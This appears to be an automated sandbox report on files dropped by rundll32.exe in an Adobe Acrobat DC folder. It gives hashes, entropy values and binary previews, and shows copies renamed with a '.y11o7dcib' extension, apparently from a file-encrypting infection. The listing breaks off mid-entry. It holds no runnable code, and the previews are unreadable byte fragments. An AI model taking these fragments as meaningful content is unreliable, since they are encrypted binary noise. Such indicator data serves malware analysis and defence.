MD5:	864F1E5FE81AAB5F1B505A5DA2A02FB7
SHA1:	DCF3FBBFD5F4D936CB5F710DE643DE0453027CD2
SHA-256:	AD0983C8770D8769C4426D064EE7BA26D548C9BA5ACBA10908D70C71C92B0DF1
SHA-512:	990303FBCD3BA269E6B3305E159465E3A503B357D51AA8ADF78B7D2C8CC8A328742ED4E2B18FABF2DCB22D58104AB979187ADFFB0CF47C4B33E7C5D45604466F
Malicious:	false
Preview:	..;..d...ALNZ...........>X..V..&.i.#<.X.@.e......K...q.G...w..........!..L.!This program cannot be run in DOS mode....$.........<.;`R.;`R.;`R.2.../`R./.T.:`R...V.3`R...Q.?`R...W..`R...S.=`R..Q.'...e=J..G.n...+u.#E8.`.4_..>w.Cn....._..V......'h.......P.:`R.Rich;`R.........................PE..d......d.........." .........F......@-.......................................`-......4...d...A\N.'.........~X..V..&.i.#<.X.@.u......K...q7...t... -.@.....+..D....,..)...0-..%..$.%.T.....................%.(.....%.8...............x............................text...............`...ALN.'...../...P...7..F.b..".X.K.eG.....K...q.G...v.@.data................).............@....pdata...D....+..D....+.............@..@.rsrc...@.... -.......,.............@..@.reloc..2{...T...gLN...........~X...V..&.i.#<.X.@.e......K...q.G...v...................................................................................................................................^...d...ALN.'.........~X..V..&.i.#<.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ReaderUC.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2957074
Entropy (8bit):	7.155190354433142
Encrypted:	false
SSDEEP:	49152:uTuJke56RqTw42B/nczK1Fj0nZGY5azQ+bs0A0iHgzPnvE3RsD81Aa:uiiKwxV1Qza5A0WknvEQa
MD5:	864F1E5FE81AAB5F1B505A5DA2A02FB7
SHA1:	DCF3FBBFD5F4D936CB5F710DE643DE0453027CD2
SHA-256:	AD0983C8770D8769C4426D064EE7BA26D548C9BA5ACBA10908D70C71C92B0DF1
SHA-512:	990303FBCD3BA269E6B3305E159465E3A503B357D51AA8ADF78B7D2C8CC8A328742ED4E2B18FABF2DCB22D58104AB979187ADFFB0CF47C4B33E7C5D45604466F
Malicious:	false
Preview:	..;..d...ALNZ...........>X..V..&.i.#<.X.@.e......K...q.G...w..........!..L.!This program cannot be run in DOS mode....$.........<.;`R.;`R.;`R.2.../`R./.T.:`R...V.3`R...Q.?`R...W..`R...S.=`R..Q.'...e=J..G.n...+u.#E8.`.4_..>w.Cn....._..V......'h.......P.:`R.Rich;`R.........................PE..d......d.........." .........F......@-.......................................`-......4...d...A\N.'.........~X..V..&.i.#<.X.@.u......K...q7...t... -.@.....+..D....,..)...0-..%..$.%.T.....................%.(.....%.8...............x............................text...............`...ALN.'...../...P...7..F.b..".X.K.eG.....K...q.G...v.@.data................).............@....pdata...D....+..D....+.............@..@.rsrc...@.... -.......,.............@..@.reloc..2{...T...gLN...........~X...V..&.i.#<.X.@.e......K...q.G...v...................................................................................................................................^...d...ALN.'.........~X..V..&.i.#<.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ScCore.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	720146
Entropy (8bit):	7.108136413037361
Encrypted:	false
SSDEEP:	12288:Rsm8Vn8iGkuCHdU/DA4UE6S2R4iBY2n/DuHqafj5IqSeSLR:+m8u/CHdyA4UTR4iNLuTj2WSLR
MD5:	A3512B88A6917049DBC9E99E12A42FD1
SHA1:	5A9AEC6E5AED00EC9469DC90726230CC20D0320B
SHA-256:	E4F4C59DC3B5937AB3555EF0B1720CDC139607438CA85D5815C60FD73A1A0706
SHA-512:	68D4E8F3B8549888430FDD0C3412EED199D22C69DA050EB28F7A5F1453EFB7AECB1E6C7C311D422466A7E1CAEE10E264EF9DEC2FFD86B0BEC04D2A062D155397
Malicious:	false
Preview:	.W..ep..S.........w...N".g...c........S.!.6(k........`.-..........!..L.!This program cannot be run in DOS mode....$.........8.Y.V.Y.V.Y.V.P..K.V...W.[.V..P.Z.V..W.R.V.Y.W...V...S.B.V...M@.d3....+J....1.t....p\|=N...v[(Zi......~..Iw.x..Mg....9RichY.V.........PE..d...4.%c.........." .....@..........@................................................c....`A....................ep..S..........w..{.*.g.....C.....!.k(k........`".......X.......T...................`...(...`................P..@............................text....?.......@.................. ..`..{...ep..P..~.......3..KN".g...c...C...&7.U.6(kT..F.....`................@....pdata..(h.......j..................@..@.rsrc...h].......^...d..............@..@.reloc..X.............................e2..S..........w..KN".g...c........S.!.6(k........`.,......................................................................................................................................ep..S..........w..KN".g...c.......

C:\Program Files\Adobe\Acrobat DC\Acrobat\ScCore.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	720146
Entropy (8bit):	7.108136413037361
Encrypted:	false
SSDEEP:	12288:Rsm8Vn8iGkuCHdU/DA4UE6S2R4iBY2n/DuHqafj5IqSeSLR:+m8u/CHdyA4UTR4iNLuTj2WSLR
MD5:	A3512B88A6917049DBC9E99E12A42FD1
SHA1:	5A9AEC6E5AED00EC9469DC90726230CC20D0320B
SHA-256:	E4F4C59DC3B5937AB3555EF0B1720CDC139607438CA85D5815C60FD73A1A0706
SHA-512:	68D4E8F3B8549888430FDD0C3412EED199D22C69DA050EB28F7A5F1453EFB7AECB1E6C7C311D422466A7E1CAEE10E264EF9DEC2FFD86B0BEC04D2A062D155397
Malicious:	false
Preview:	.W..ep..S.........w...N".g...c........S.!.6(k........`.-..........!..L.!This program cannot be run in DOS mode....$.........8.Y.V.Y.V.Y.V.P..K.V...W.[.V..P.Z.V..W.R.V.Y.W...V...S.B.V...M@.d3....+J....1.t....p\|=N...v[(Zi......~..Iw.x..Mg....9RichY.V.........PE..d...4.%c.........." .....@..........@................................................c....`A....................ep..S..........w..{.*.g.....C.....!.k(k........`".......X.......T...................`...(...`................P..@............................text....?.......@.................. ..`..{...ep..P..~.......3..KN".g...c...C...&7.U.6(kT..F.....`................@....pdata..(h.......j..................@..@.rsrc...h].......^...d..............@..@.reloc..X.............................e2..S..........w..KN".g...c........S.!.6(k........`.,......................................................................................................................................ep..S..........w..KN".g...c.......

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	24330
Entropy (8bit):	7.155543417408375
Encrypted:	false
SSDEEP:	384:H+0lOy5twxerp8vo0/Vs2hW4zF0bJkiB3/bLn4HIpCExPEXOXq8+y6hJ:FOyPwQreo0dsgWA0bJkc3jL4HIY6EZ7T
MD5:	30DB908BE752078F5F9D39C15B39F1F1
SHA1:	869175B7072249C00DC64982252D353C512B8D39
SHA-256:	74AB140668DE632415DEF3ECA4D4F69E16F14B5E43B91CBABAEF655374DE56EF
SHA-512:	28A414C6938ECA5D662AF1C17E4767C732A33E01AF19DF61F7974B324E8C679C213AECF219F94976C485404DB08100AC50F20CAF89ABADD690DB9B5BAB014863
Malicious:	false
Preview:	HW..Y.b.h.X{...K..n....u.5.V.5..]7.i..X.......X.....f8;....n).........!..L.!This program cannot be run in DOS mode....$.......................+..............................................B.1.d....."")Kx.....u...9..^...=........X.....f8;....o).PE..d...~^.c.........."..........$......p..........@.........................................`.....................................J.b.l.X{q.K.n.Z..u.E.V.4..]W.i..X....\|..X.<..f8;.+...o)..........................4..8............0..0............................text...\|........................... ..`.rdata.......0......Z.b.l.X{q.K.n....5.Q."c5..U0.i.X.......X.....f8;.....o)@.pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc..@............2..............@..B............Z.b.l.X{q.K.n....u.5.V.5..]7.i..X.......X.....f8;....o).....................................................................................................................................Z.b.l.X{q.K*.n....u.5.V.5..]7.i..X.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	24330
Entropy (8bit):	7.155543417408375
Encrypted:	false
SSDEEP:	384:H+0lOy5twxerp8vo0/Vs2hW4zF0bJkiB3/bLn4HIpCExPEXOXq8+y6hJ:FOyPwQreo0dsgWA0bJkc3jL4HIY6EZ7T
MD5:	30DB908BE752078F5F9D39C15B39F1F1
SHA1:	869175B7072249C00DC64982252D353C512B8D39
SHA-256:	74AB140668DE632415DEF3ECA4D4F69E16F14B5E43B91CBABAEF655374DE56EF
SHA-512:	28A414C6938ECA5D662AF1C17E4767C732A33E01AF19DF61F7974B324E8C679C213AECF219F94976C485404DB08100AC50F20CAF89ABADD690DB9B5BAB014863
Malicious:	false
Preview:	HW..Y.b.h.X{...K..n....u.5.V.5..]7.i..X.......X.....f8;....n).........!..L.!This program cannot be run in DOS mode....$.......................+..............................................B.1.d....."")Kx.....u...9..^...=........X.....f8;....o).PE..d...~^.c.........."..........$......p..........@.........................................`.....................................J.b.l.X{q.K.n.Z..u.E.V.4..]W.i..X....\|..X.<..f8;.+...o)..........................4..8............0..0............................text...\|........................... ..`.rdata.......0......Z.b.l.X{q.K.n....5.Q."c5..U0.i.X.......X.....f8;.....o)@.pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc..@............2..............@..B............Z.b.l.X{q.K.n....u.5.V.5..]7.i..X.......X.....f8;....o).....................................................................................................................................Z.b.l.X{q.K*.n....u.5.V.5..]7.i..X.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ViewerPS.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	packed data
Category:	dropped
Size (bytes):	27914
Entropy (8bit):	6.978805472728338
Encrypted:	false
SSDEEP:	384:HKwLC2YpsKUng+rjs828wTtGVZCzl4+9zS20Br+upJUVDimp0R9meFuF2:9LC2EsnsXZ0CG+9ir+0UImp0Rck
MD5:	3AAFFDBE392C6025C6B4E092FBDFA768
SHA1:	E13A1A46C15B1BD078CE39ED64E7C9D09EA78952
SHA-256:	76E7B2C7CA5E637E0DCB6AB50FF584CA16BE03767EE8CA87AF314D20E7EF2D5B
SHA-512:	FC84D26B0FFC0E6DEC84E191850FA2B2620B384488036F1A14ED24303134B160EE0D4AAD066F8613F0B334ACB8AEE02B448142895F1C71D900FEE5E577953678
Malicious:	false
Preview:	.....r..h.!.)opy..~<ULJ.z.....;@...D.J.@.bh....,..MZp...\yP.k........!..L.!This program cannot be run in DOS mode....$.......-.xi..+i..+i..+`.e+k..+...k..+...`..+...n..+...k..+}..`..+;........Q..~.[s&*TT..ao.. ..I.)n.\|........Q..hOq..[...\iQ.k................PE..d......d.........." .........,.......%....................................................`A................RD...r..l.!f.op...~,ULJ.<..i..;`....D.Jg@..m...a,.%LZp.\.x.k....p...@@..T............................@..8............0...............................orpc...V........................... ..`\|0o.r..t.!f.op...~<SLJ.z.....;@..4D..de$.......,..}Zp..\iG.k............@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......:..........RD...r.B..M..op...~<.LJ.x.....;@...D.J.@."h...,..MZp...\iQ.k................................................................................................................................RD...r..l.!f.op...~<ULJ.z.....;@...D.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ViewerPS.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	packed data
Category:	dropped
Size (bytes):	27914
Entropy (8bit):	6.978805472728338
Encrypted:	false
SSDEEP:	384:HKwLC2YpsKUng+rjs828wTtGVZCzl4+9zS20Br+upJUVDimp0R9meFuF2:9LC2EsnsXZ0CG+9ir+0UImp0Rck
MD5:	3AAFFDBE392C6025C6B4E092FBDFA768
SHA1:	E13A1A46C15B1BD078CE39ED64E7C9D09EA78952
SHA-256:	76E7B2C7CA5E637E0DCB6AB50FF584CA16BE03767EE8CA87AF314D20E7EF2D5B
SHA-512:	FC84D26B0FFC0E6DEC84E191850FA2B2620B384488036F1A14ED24303134B160EE0D4AAD066F8613F0B334ACB8AEE02B448142895F1C71D900FEE5E577953678
Malicious:	false
Preview:	.....r..h.!.)opy..~<ULJ.z.....;@...D.J.@.bh....,..MZp...\yP.k........!..L.!This program cannot be run in DOS mode....$.......-.xi..+i..+i..+`.e+k..+...k..+...`..+...n..+...k..+}..`..+;........Q..~.[s&*TT..ao.. ..I.)n.\|........Q..hOq..[...\iQ.k................PE..d......d.........." .........,.......%....................................................`A................RD...r..l.!f.op...~,ULJ.<..i..;`....D.Jg@..m...a,.%LZp.\.x.k....p...@@..T............................@..8............0...............................orpc...V........................... ..`\|0o.r..t.!f.op...~<SLJ.z.....;@..4D..de$.......,..}Zp..\iG.k............@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......:..........RD...r.B..M..op...~<.LJ.x.....;@...D.J.@."h...,..MZp...\iQ.k................................................................................................................................RD...r..l.!f.op...~<ULJ.z.....;@...D.

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat.tlb

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	67294
Entropy (8bit):	6.370234500594891
Encrypted:	false
SSDEEP:	1536:XMvqzu2IwAaBtaDb59+mN3wj4BrUSBRSGCfeRa:84CDblOj4hU/L
MD5:	2F0D0141455E60EB64CD9892D66D1E1D
SHA1:	7E4A66A3735D8425FFF14BEC9B716CEEBCD3BDB5
SHA-256:	B7FB440AFB64A1215E6925054BEAE8864996AF6870CC386A27D5B66113F98DE1
SHA-512:	5287E9F60FBC5F5FE786DD92B731373E570848DFF23D27418B8DD76016D7EB5741060C5EB049B6A5925F30BF1B45CE2866D5447CF82269ABF04CCA15B12729D9
Malicious:	false
Preview:	.T.t.d3....L.h..._..j}.O.n..R>"..C..._........Q....pv..... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...7.. .n2.....C.t...S...q...n.B.R>2..C............f..Q...U..-....0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... .............. .y2....V......@...b.G.n..R>.C.......8.....Q[.....-.#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(.......)...........9..l...........p9..\...........D6...............+......D.;..d2....iA..!o5._...D.O.n../..-..C........;O~....Q......-........L...(...........................t...T..............$........................................... !........................ .d2....H.h..\|..Bk}.[.n...R>.C..._...;O~....Q....pv............. !.........................................................<....................................... !................. .d2....H.h.._..k}....%..R>v..C

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat.tlb.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	67294
Entropy (8bit):	6.370234500594891
Encrypted:	false
SSDEEP:	1536:XMvqzu2IwAaBtaDb59+mN3wj4BrUSBRSGCfeRa:84CDblOj4hU/L
MD5:	2F0D0141455E60EB64CD9892D66D1E1D
SHA1:	7E4A66A3735D8425FFF14BEC9B716CEEBCD3BDB5
SHA-256:	B7FB440AFB64A1215E6925054BEAE8864996AF6870CC386A27D5B66113F98DE1
SHA-512:	5287E9F60FBC5F5FE786DD92B731373E570848DFF23D27418B8DD76016D7EB5741060C5EB049B6A5925F30BF1B45CE2866D5447CF82269ABF04CCA15B12729D9
Malicious:	false
Preview:	.T.t.d3....L.h..._..j}.O.n..R>"..C..._........Q....pv..... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...7.. .n2.....C.t...S...q...n.B.R>2..C............f..Q...U..-....0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... .............. .y2....V......@...b.G.n..R>.C.......8.....Q[.....-.#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(.......)...........9..l...........p9..\...........D6...............+......D.;..d2....iA..!o5._...D.O.n../..-..C........;O~....Q......-........L...(...........................t...T..............$........................................... !........................ .d2....H.h..\|..Bk}.[.n...R>.C..._...;O~....Q....pv............. !.........................................................<....................................... !................. .d2....H.h.._..k}....%..R>v..C

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_reader_appicon_16.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.121797475289471
Encrypted:	false
SSDEEP:	12:Xf4aJx4RURC6BJhySqC1XjHgEVRfgO4JidN4BI0+vMBRpmsS:Xf7x2URCqJh0CdjHgyRLBN4Bl1pS
MD5:	D6178C3C46FD5309E608371EEC202CA9
SHA1:	08527C49A0EF5373041A32143A94A3D8D80D3334
SHA-256:	3EA29EBBBA026B808BFDE8B1AC416740D03D6534A6EC83BAC2AC76467591AC89
SHA-512:	AB1C1C232F1C2A047AE754C5EC8B70F69A36D5BC7EC2435667D4AEC43F074C778776CF1AD423854470343D21949B2978032DAA53C0DEF8EF48B4B41DB6B63C4B
Malicious:	false
Preview:	.W...O.-.?0i0DB.%..H..c......C^.$.......?.=.x]..A.M....~f..^WEy..d.........U>T.....=.W...A.....E.,67D7...3nh.d}?..C........?.~..?.X.......N$..53o8\...]E..p..k.h...iT.7...'{..H.Ep....m...<S....3hf#[d.F._........K-).....x....<.7.r?PfMh:"vH>.v...]y./....9+.}..VP.rV(......-....&.. .K......,.'.p`Y..Oqu......&".(.0.P....9.d.....?8........c3......IEND.B`.....f..L....d..o....R../..w.T7.Z.6.9U..s..lJ9$..@.....5.......>m.\|Fm...(......G.....`..@.h....<AG....`".r.?G.X..6bM.C.8...gR.$..1*..y.w.3.N...^.......\..Zu......j..&.}......M.&.....\...b....h.t( .L${.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_reader_appicon_16.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.121797475289471
Encrypted:	false
SSDEEP:	12:Xf4aJx4RURC6BJhySqC1XjHgEVRfgO4JidN4BI0+vMBRpmsS:Xf7x2URCqJh0CdjHgyRLBN4Bl1pS
MD5:	D6178C3C46FD5309E608371EEC202CA9
SHA1:	08527C49A0EF5373041A32143A94A3D8D80D3334
SHA-256:	3EA29EBBBA026B808BFDE8B1AC416740D03D6534A6EC83BAC2AC76467591AC89
SHA-512:	AB1C1C232F1C2A047AE754C5EC8B70F69A36D5BC7EC2435667D4AEC43F074C778776CF1AD423854470343D21949B2978032DAA53C0DEF8EF48B4B41DB6B63C4B
Malicious:	false
Preview:	.W...O.-.?0i0DB.%..H..c......C^.$.......?.=.x]..A.M....~f..^WEy..d.........U>T.....=.W...A.....E.,67D7...3nh.d}?..C........?.~..?.X.......N$..53o8\...]E..p..k.h...iT.7...'{..H.Ep....m...<S....3hf#[d.F._........K-).....x....<.7.r?PfMh:"vH>.v...]y./....9+.}..VP.rV(......-....&.. .K......,.'.p`Y..Oqu......&".(.0.P....9.d.....?8........c3......IEND.B`.....f..L....d..o....R../..w.T7.Z.6.9U..s..lJ9$..@.....5.......>m.\|Fm...(......G.....`..@.h....<AG....`".r.?G.X..6bM.C.8...gR.$..1*..y.w.3.N...^.......\..Zu......j..&.}......M.&.....\...b....h.t( .L${.....................................................................................@.........29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42762
Entropy (8bit):	7.006753776825576
Encrypted:	false
SSDEEP:	768:AHlRhFoYiNxBLXJHyBDG5PKXrwI/NOvd6o4Upay7N9W2OEF8QTFQop:G3hFoYOB1yBWPK1NOvd6tANs2sQ1p
MD5:	D22407E69B5C75127D413F26E1376D3B
SHA1:	099985F72DBA92230C15E99C7F3DE91C403EF74E
SHA-256:	687806C087DA981EC1054F278E9950498A62368F3689DBAFA3BE096D59CAB563
SHA-512:	CAC34E589B7780E9DEECF9E8F3F4A5D8F7CA7517B19B96077820FAB88AD1AAE5D1ED01E2B0D9EFAF08DE98F5826EEBD488FEF6391924E13D6627630ABD04A85B
Malicious:	false
Preview:	..././........;Xz........hN.j.;...Q..,.tf7u...U.(..........;/k.........!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=......L$....t...o.....&L.(S..WQ..7.y..&.T..#~..(..........3.k.........PE..d....^.c.........."......<...B.......>.........@..........................................`...........................9/./.......#;X.......w\|hN.k.;...Q^.,.t.7u...U.T..H.........k.`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata....9/.........c;X.........hN.j.{%..%o.,.n7u...U.,.........3.k.....@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...............z..............@..B..9/./.......#;X.........hN.j.;...Q..,.tf7u...U.(..........3.k...................................................................................................................................9/./.......#;X...*......hN.j.;...Q..,.

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42762
Entropy (8bit):	7.006753776825576
Encrypted:	false
SSDEEP:	768:AHlRhFoYiNxBLXJHyBDG5PKXrwI/NOvd6o4Upay7N9W2OEF8QTFQop:G3hFoYOB1yBWPK1NOvd6tANs2sQ1p
MD5:	D22407E69B5C75127D413F26E1376D3B
SHA1:	099985F72DBA92230C15E99C7F3DE91C403EF74E
SHA-256:	687806C087DA981EC1054F278E9950498A62368F3689DBAFA3BE096D59CAB563
SHA-512:	CAC34E589B7780E9DEECF9E8F3F4A5D8F7CA7517B19B96077820FAB88AD1AAE5D1ED01E2B0D9EFAF08DE98F5826EEBD488FEF6391924E13D6627630ABD04A85B
Malicious:	false
Preview:	..././........;Xz........hN.j.;...Q..,.tf7u...U.(..........;/k.........!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=......L$....t...o.....&L.(S..WQ..7.y..&.T..#~..(..........3.k.........PE..d....^.c.........."......<...B.......>.........@..........................................`...........................9/./.......#;X.......w\|hN.k.;...Q^.,.t.7u...U.T..H.........k.`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata....9/.........c;X.........hN.j.{%..%o.,.n7u...U.,.........3.k.....@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...............z..............@..B..9/./.......#;X.........hN.j.;...Q..,.tf7u...U.(..........3.k...................................................................................................................................9/./.......#;X...*......hN.j.;...Q..,.

C:\Program Files\Adobe\Acrobat DC\Acrobat\adobeafp.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	376082
Entropy (8bit):	6.955532897123383
Encrypted:	false
SSDEEP:	6144:SHRhBrVT8D73gu6YTn5iRhz7IHJhAU/Y7OJhGmeu3F7uWzHhfC9qx:SHncPTdiDkJuU/GqGm1iWl2A
MD5:	06AB4FAFFF6144E96553D05FF0D81633
SHA1:	5FA004535BD5381720450C91AB225276AB118E22
SHA-256:	7C09D567A67A08F6C5C2E634B5D5E7976A15DC4F307948BD3B5C4C64D4894B51
SHA-512:	EECCCE7395F2EEAE2A9A7690D44BE0C8AEA58BD5BA743CC43401583F487D50532E45F6981F9B5EADE83A74D2D4AC1BFF23BA89F69A02B115F68B88AF71108584
Malicious:	false
Preview:	..>5.b8..A\|x.0E.e..x..Uf?...^.?&..o.@\|`...@s..#..B;.ct1-....?........!..L.!This program cannot be run in DOS mode....$........Z...;.\.;.\.;.\.P.].;.\.P.]7;.\sO.].;.\sO.].;.\.P.].;.\.;.\.:.\+.ThMY..[..%..........3.Wp.WAe>cW..2.{.<.......?*g_X.m\^...(.cRich.;.\................PE..d......d.........." .....B...b............................................................`A........X..5.b8..Alx!.E....x..U&?...^.?...o.@\|`.M.@...#..G;<Lt1-q..=.?.....)......D....\..T....................^..(...`\..8............`..8............................text....>.......@..............X..5.b8.....B.E....x~.U&=.....?&..o.@\|`...@S..C.v&Z..t1u..s.?.....F..............@..@.data....F.......2..................@....pdata.......`...0..................@..@_RDATA...............N..X..5.b8..A\|xa.E......U.......?&..o..y`...@s..#..B;.ctq.c...p.?D...........................@..B................................................................................................X..5.b8..A\|x!.E....x..U&?...^.?&..o.@\|`

C:\Program Files\Adobe\Acrobat DC\Acrobat\adobeafp.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	376082
Entropy (8bit):	6.955532897123383
Encrypted:	false
SSDEEP:	6144:SHRhBrVT8D73gu6YTn5iRhz7IHJhAU/Y7OJhGmeu3F7uWzHhfC9qx:SHncPTdiDkJuU/GqGm1iWl2A
MD5:	06AB4FAFFF6144E96553D05FF0D81633
SHA1:	5FA004535BD5381720450C91AB225276AB118E22
SHA-256:	7C09D567A67A08F6C5C2E634B5D5E7976A15DC4F307948BD3B5C4C64D4894B51
SHA-512:	EECCCE7395F2EEAE2A9A7690D44BE0C8AEA58BD5BA743CC43401583F487D50532E45F6981F9B5EADE83A74D2D4AC1BFF23BA89F69A02B115F68B88AF71108584
Malicious:	false
Preview:	..>5.b8..A\|x.0E.e..x..Uf?...^.?&..o.@\|`...@s..#..B;.ct1-....?........!..L.!This program cannot be run in DOS mode....$........Z...;.\.;.\.;.\.P.].;.\.P.]7;.\sO.].;.\sO.].;.\.P.].;.\.;.\.:.\+.ThMY..[..%..........3.Wp.WAe>cW..2.{.<.......?*g_X.m\^...(.cRich.;.\................PE..d......d.........." .....B...b............................................................`A........X..5.b8..Alx!.E....x..U&?...^.?...o.@\|`.M.@...#..G;<Lt1-q..=.?.....)......D....\..T....................^..(...`\..8............`..8............................text....>.......@..............X..5.b8.....B.E....x~.U&=.....?&..o.@\|`...@S..C.v&Z..t1u..s.?.....F..............@..@.data....F.......2..................@....pdata.......`...0..................@..@_RDATA...............N..X..5.b8..A\|xa.E......U.......?&..o..y`...@s..#..B;.ctq.c...p.?D...........................@..B................................................................................................X..5.b8..A\|x!.E....x..U&?...^.?&..o.@\|`

C:\Program Files\Adobe\Acrobat DC\Acrobat\ahclient.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	367882
Entropy (8bit):	7.10692933801487
Encrypted:	false
SSDEEP:	6144:mmT3jQaJo2Z8kDfKR+RlUjEzr0jwZNT6Sa8STeQbcxa:f5Z8mKR24EPTa8ebcxa
MD5:	45B36B8EB6A4FB9A02277E3971F3E57F
SHA1:	8CAF333A463AF72A5AF91BA341FCB848829256AD
SHA-256:	989DEEA2C90DCF5565415A0B69D88916F2AE002D89E1470A3E1BBFBFDAA30066
SHA-512:	E6035AB65654E8639B607CB80F7B588C73473B652DE4E127938138FD86640F9D03F96141A8C5E1E4418078E4BCBDD55033C3B477C0804693612E059A2222D201
Malicious:	false
Preview:	.t..s.b.Q.....F...T.1.8.e.9.jH....5'4m1]t}>.f.f.T...b....x%....K........!..L.!This program cannot be run in DOS mode....$........?Sj.^=9.^=9.^=9.&.9.^=9.&.9.^=9.&98.^=9.&>8.^=9.&<8.^=9.&>8.^=9..K$.!_,./.."{:..h........G..;.>...3.d'Z...I[....../.._.^].r.^.9.^=9S'?8.^=9Rich.^=9................PE..d....LFd.........." .........n......................................................j.t.r..TU...n\|F...T.1.8.%.).jH....5'4m1]t}>.v.f.d........v ....K....`....p...&...r...)...........\|..T....................\|..(....z..@............ .. ............................text...?.......Z$v.p{b.U...n\|F...T...8...]..)....4'4M5]tk?.f.b.T...b....x%......data...($...@.......$..............@....pdata...&...p...(...@..............@..@.rsrc...`............h..............@..@.reloc...-r.p.g.U...n.C...T.1.8.%.9.*H.@..5'4m1]t}>.f.f.T...b....x%....K................................................................................................................................Z.r.p.b.U...n\|F...T.1.8.%.9.jH....5'4m1]

C:\Program Files\Adobe\Acrobat DC\Acrobat\ahclient.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	367882
Entropy (8bit):	7.10692933801487
Encrypted:	false
SSDEEP:	6144:mmT3jQaJo2Z8kDfKR+RlUjEzr0jwZNT6Sa8STeQbcxa:f5Z8mKR24EPTa8ebcxa
MD5:	45B36B8EB6A4FB9A02277E3971F3E57F
SHA1:	8CAF333A463AF72A5AF91BA341FCB848829256AD
SHA-256:	989DEEA2C90DCF5565415A0B69D88916F2AE002D89E1470A3E1BBFBFDAA30066
SHA-512:	E6035AB65654E8639B607CB80F7B588C73473B652DE4E127938138FD86640F9D03F96141A8C5E1E4418078E4BCBDD55033C3B477C0804693612E059A2222D201
Malicious:	false
Preview:	.t..s.b.Q.....F...T.1.8.e.9.jH....5'4m1]t}>.f.f.T...b....x%....K........!..L.!This program cannot be run in DOS mode....$........?Sj.^=9.^=9.^=9.&.9.^=9.&.9.^=9.&98.^=9.&>8.^=9.&<8.^=9.&>8.^=9..K$.!_,./.."{:..h........G..;.>...3.d'Z...I[....../.._.^].r.^.9.^=9S'?8.^=9Rich.^=9................PE..d....LFd.........." .........n......................................................j.t.r..TU...n\|F...T.1.8.%.).jH....5'4m1]t}>.v.f.d........v ....K....`....p...&...r...)...........\|..T....................\|..(....z..@............ .. ............................text...?.......Z$v.p{b.U...n\|F...T...8...]..)....4'4M5]tk?.f.b.T...b....x%......data...($...@.......$..............@....pdata...&...p...(...@..............@..@.rsrc...`............h..............@..@.reloc...-r.p.g.U...n.C...T.1.8.%.9.*H.@..5'4m1]t}>.f.f.T...b....x%....K................................................................................................................................Z.r.p.b.U...n\|F...T.1.8.%.9.jH....5'4m1]

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_asym.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	266554
Entropy (8bit):	6.9929426277429485
Encrypted:	false
SSDEEP:	6144:ZFCab7rNVzpXL39GveF+/1s1lxt35GG4Tc0+kne9Pi/:vb7RVzBpGvA1lxjGU0+A/
